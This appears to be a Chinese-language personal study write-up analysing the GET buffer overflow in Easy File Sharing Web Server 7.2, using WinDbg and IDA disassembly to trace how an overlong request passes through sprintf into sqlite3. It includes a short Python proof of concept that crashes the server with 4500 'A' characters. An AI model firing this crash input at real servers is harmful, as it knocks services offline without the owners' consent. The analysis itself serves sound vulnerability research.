Easy File Sharing Web Server 7.2 - GET Buffer Overflow (SEH)
漏洞环境
- WindowsXP
- Windbg
- Easy File Sharing Web Server 7.2
- https://www.exploit-db.com/exploits/39008/
漏洞复现分析
测试Poc
import socket
import sys
host = str(sys.argv[1])
port = int(sys.argv[2])
a = socket.socket()
print "Connecting to: " + host + ":" + str(port)
a.connect((host,port))
buff= "A"*4500
a.send("GET " + buff + " HTTP/1.0\\r\\n\\r\\n")
a.close()
print "Done..."
Windbg界面
根据栈回溯的第一个返回地址61c6286c,我们发现这个地址处于sqlite3LockAndPrepare函数中
在这个函数中没发现EAX是怎么传入的,接着查看004968f4处的父函数
.text:004968D0 sub_4968D0 proc near ; CODE XREF: sub_4971A0+EFp
.text:004968D0 ; sub_497440+29p ...
.text:004968D0
.text:004968D0 var_4 = dword ptr -4
.text:004968D0 arg_0 = dword ptr 4
.text:004968D0 arg_4 = dword ptr 8
.text:004968D0
.text:004968D0 push ecx
.text:004968D1 mov eax, [esp+4+arg_4]
.text:004968D5 push esi
.text:004968D6 test eax, eax
.text:004968D8 mov [esp+8+var_4], 0
.text:004968E0 push 0
.text:004968E2 jz short loc_496914
.text:004968E4 lea edx, [esp+0Ch+arg_4]
.text:004968E8 push edx
.text:004968E9 push 0FFFFFFFFh
.text:004968EB push eax
.text:004968EC mov eax, [ecx]
.text:004968EE push eax
.text:004968EF call sqlite3_prepare_v2
.text:004968F4 add esp, 14h
同样这个004968f4处于函数sub_4968D0中,那我们试着在sub_4968D0处下断点看看
第三次断下来的时候ECX指向了41414141(为什么要看ECX?因为此处执行语句为push ecx)
对01b17058下一个写入断点
ba w4 01b17058".if(poi(01b17058)==0x41414141){}.else{gc}"
.text:00500DDE _write_char proc near ; CODE XREF: sub_500640+1D2p
.text:00500DDE ; sub_500640+1EBp ...
.text:00500DDE
.text:00500DDE arg_0 = dword ptr 8
.text:00500DDE arg_4 = dword ptr 0Ch
.text:00500DDE arg_8 = dword ptr 10h
.text:00500DDE
.text:00500DDE push ebp
.text:00500DDF mov ebp, esp
.text:00500DE1 mov ecx, [ebp+arg_4]
.text:00500DE4 dec dword ptr [ecx+4]
.text:00500DE7 js short loc_500DF7
.text:00500DE9 mov edx, [ecx]
.text:00500DEB mov al, byte ptr [ebp+arg_0]
.text:00500DEE mov [edx], al
.text:00500DF0 inc dword ptr [ecx]
.text:00500DF2 movzx eax, al
.text:00500DF5 jmp short loc_500E02
可以看到在write_char函数中
此时查看调用堆栈
004f9698在sprintf函数中
.text:004F966A ; int sprintf(char *, const char *, ...)
.text:004F966A _sprintf proc near ; CODE XREF: sub_401520+36p
.text:004F966A ; sub_401B70+35p ...
.text:004F966A
.text:004F966A var_20 = FILE ptr -20h
.text:004F966A arg_0 = dword ptr 8
.text:004F966A arg_4 = dword ptr 0Ch
.text:004F966A arg_8 = dword ptr 10h
.text:004F966A
.text:004F966A push ebp
.text:004F966B mov ebp, esp
.text:004F966D sub esp, 20h
.text:004F9670 mov eax, [ebp+arg_0]
.text:004F9673 push esi
.text:004F9674 mov [ebp+var_20._base], eax
.text:004F9677 mov [ebp+var_20._ptr], eax
.text:004F967A lea eax, [ebp+arg_8]
.text:004F967D mov [ebp+var_20._flag], 42h
.text:004F9684 push eax ; int
.text:004F9685 lea eax, [ebp+var_20]
.text:004F9688 push [ebp+arg_4] ; int
.text:004F968B mov [ebp+var_20._cnt], 7FFFFFFFh
.text:004F9692 push eax ; FILE *
.text:004F9693 call sub_500640
.text:004F9698 add esp, 0Ch
.text:004F969B dec [ebp+var_20._cnt]
.text:004F969E mov esi, eax
.text:004F96A0 js short loc_4F96AA
.text:004F96A2 mov eax, [ebp+var_20._ptr]
.text:004F96A5 and byte ptr [eax], 0
.text:004F96A8 jmp short loc_4F96B7
再看看00497753
.text:00497736 mov eax, [esp+1040h+var_1020]
.text:0049773A mov ecx, [esp+1040h+var_1024]
.text:0049773E add esp, 10h
.text:00497741 lea edx, [esp+1030h+var_100C]
.text:00497745 push edi
.text:00497746 push eax
.text:00497747 push ecx
.text:00497748 push offset aSelectFromSWhe ; "select * from %s where %s='%s'"
.text:0049774D push edx ; char *
.text:0049774E call _sprintf
.text:00497753 add esp, 14h
.text:00497756 lea eax, [esp+1030h+var_100C]
.text:0049775A lea ecx, [esp+1030h+var_101C]
.text:0049775E push eax
.text:0049775F push ecx
.text:00497760 mov ecx, esi
.text:00497762 call sub_4968D0
我们在bp 00497745下断点,执行到0049774E的sprintf函数看看栈上参数
01b15fd4处为sprintf的第一个参数
012c272c为最后一个参数(调用sprintf前五次push入栈)
最后一个参数被“A"充满
大量的”A“组成的字符串造成了栈溢出
最后拿去给给sqlite3.dll处理的时候造成异常 具体路径如下,sprintf执行完下一条语句是调用sub_4968D0函数 sub_4968D0->sqlite3_prepare_v2->sqlite3LockAndPrepare->sqlite3SafetyCheckOk(在这函数里面异常) 012c272c处的字符是哪里来的?
下断点
ba w4 012c272c".if(poi(012c272c)==0x41414141){}.else{gc}"
.text:004FC2F0 ; void *__cdecl memcpy_0(void *, const void *, size_t)
.text:004FC2F0 _memcpy_0 proc near ; CODE XREF: sub_4EE59E+A2p
.text:004FC2F0 ; sub_4EE59E+FEp ...
.text:004FC2F0
.text:004FC2F0 var_3A6BFFB1 = byte ptr -3A6BFFB1h
.text:004FC2F0 var_3A5BFFB1 = byte ptr -3A5BFFB1h
.text:004FC2F0 var_3A4BFFB1 = byte ptr -3A4BFFB1h
.text:004FC2F0 arg_0 = dword ptr 8
.text:004FC2F0 arg_4 = dword ptr 0Ch
.text:004FC2F0 arg_8 = dword ptr 10h
.text:004FC2F0
.text:004FC2F0 push ebp
.text:004FC2F1 mov ebp, esp
.text:004FC2F3 push edi
.text:004FC2F4 push esi
.text:004FC2F5 mov esi, [ebp+arg_4]
.text:004FC2F8 mov ecx, [ebp+arg_8]
.text:004FC2FB mov edi, [ebp+arg_0]
.text:004FC2FE mov eax, ecx
.text:004FC300 mov edx, ecx
.text:004FC302 add eax, esi
.text:004FC304 cmp edi, esi
.text:004FC306 jbe short loc_4FC310
.text:004FC308 cmp edi, eax
.text:004FC30A jb loc_4FC488
.text:004FC310
.text:004FC310 loc_4FC310: ; CODE XREF: _memcpy_0+16j
.text:004FC310 test edi, 3
.text:004FC316 jnz short loc_4FC32C
.text:004FC318 shr ecx, 2
.text:004FC31B and edx, 3
.text:004FC31E cmp ecx, 8 ; switch 8 cases
.text:004FC321 jb short loc_4FC34C
.text:004FC323 rep movsd ; jumptable 004FC34C default case
.text:004FC325 jmp ds:off_4FC438[edx*4]
来自于memcpy_0函数
不理解
hex(0x02057058- 0x02055fd4) '0x1084'
不懂这怎么来的
总结
- 有些断点需要Windbg先g再break再下断点